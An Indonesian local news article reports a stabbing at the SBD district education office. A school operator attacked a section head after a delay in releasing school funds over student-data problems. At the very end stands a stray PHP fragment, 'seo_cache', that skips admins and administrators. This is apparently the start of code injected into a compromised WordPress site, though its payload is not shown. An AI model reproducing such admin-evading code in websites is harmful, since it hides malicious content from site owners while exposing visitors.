Kriminal

Insiden Berdarah di Kantor Dinas P dan K Kabupaten SBD, Salah Satu Kepala Seksi Ditikam Operator Sekolah

×

Insiden Berdarah di Kantor Dinas P dan K Kabupaten SBD, Salah Satu Kepala Seksi Ditikam Operator Sekolah

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kepala Seksi Peningkatan Mutu dan Kurikulum SD pada Bidang Pengelolaan SD Dinas P dan K Kabupaten SBD ditikam operator sekolah.

Insiden berdarah ini berlangsung Senin (16/06/2025) kurang lebih pukul 13.00 WITA.

Kepala Seksi Peningkatan Mutu dan Kurikulum SD pada Bidang Pengelolaan SD, Dinas P dan K Kabupaten SBD, Aloysius Lede Bora mendapat dua luka serius di lengan kanan dan perut bagian kanan.

Yanto pelaku penikaman Kepala Seksi Peningkatan Mutu dan Kurikulum SD pada Bidang Pengelolaan SD Dinas P dan K Kabupaten SBD, Aloysius Lede Bora. ( Foto Menara Sumba )

Dikonfirmasi awak media saat sedang menjalani perawatan, Aloysius mengaku jika dirinya tidak pernah menduga bakal mendapat serangan dengan senjata tajam.

Awalnya, kisah Aloysius, Kepala SDK Ilhaloko, Mangganipi, Kecamatan Kodi Utara bersama operator datang meminta SPB untuk pencairan dana BOS tahap 1 tahun 2025.

“Untuk melengkapi itu, laporannya sudah dimasukkan dua minggu yang lalu,” jelas Aloysius.

Tapi karena di sekolah ini masih ada sedikit persoalan terkait data, maka Kepala Bidang Pengelolaan SD memintanya agar ditunda dulu sambil mengecek data siswa yang ada di Dapodik.

Awalnya dari Januari jumlah siswanya mencapai 300 lebih orang.

Tapi setelah dilakukan asistensi ternyata siswanya banyak yang tidak masuk di Dapodik.

“Makanya Kepala Bidang SD minta pending dulu, dan saya mengikuti perintah pimpinan,” ujarnya.

Setelah itu, dalam beberapa minggu terakhir ia mengecek data Dapodik bersama dengan operator Dapodik yang juga operator dinas.

“Kami sudah temukan bahwa tidak ada lagi data yang bermasalah maka sebetulnya minggu lalu proses untuk pencairan,” terangnya lebih lanjut.

“Tapi karena saya tugas luar, saya minta hari ini, hari Senin ini untuk datang menghadap dan tadi pagi mereka sudah datang,” sambungnya lagi.

Setelah itu, ia menyampaikan agar keduanya (kepala sekolah dan operator) untuk bertemu Kepala Bidang Pengelolaan SD, dan melaporkan bahwa sudah bertemu dirinya selaku kepala seksi.

Sambil itu ia juga mengingatkan agar segala kelengkapan administrasi terkait pencairan seperti rekening koran SPTDM dan disertakan supaya bisa proses SPB.

“Mereka sudah bilang ya lalu keluar ruangan dan saat itu saya juga keluar karena ada kerja data lagi dengan operator dapodik,” imbuhnya.

Ketika masuk kembali ke ruangan, ia masih sempat ngobrol dengan salah seorang kepala seksi lainnya di bidang itu.

“Nah tiba-tiba datang sudah operator atas nama Yanto, saya tidak tahu lengkapnya siapa, tapi dia nama Yanto, anak dari ibu kepala sekolah sendiri,” tutur Aloysius.

“Saat itulah dia serang dan tikam saya dengan pisau di sini,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>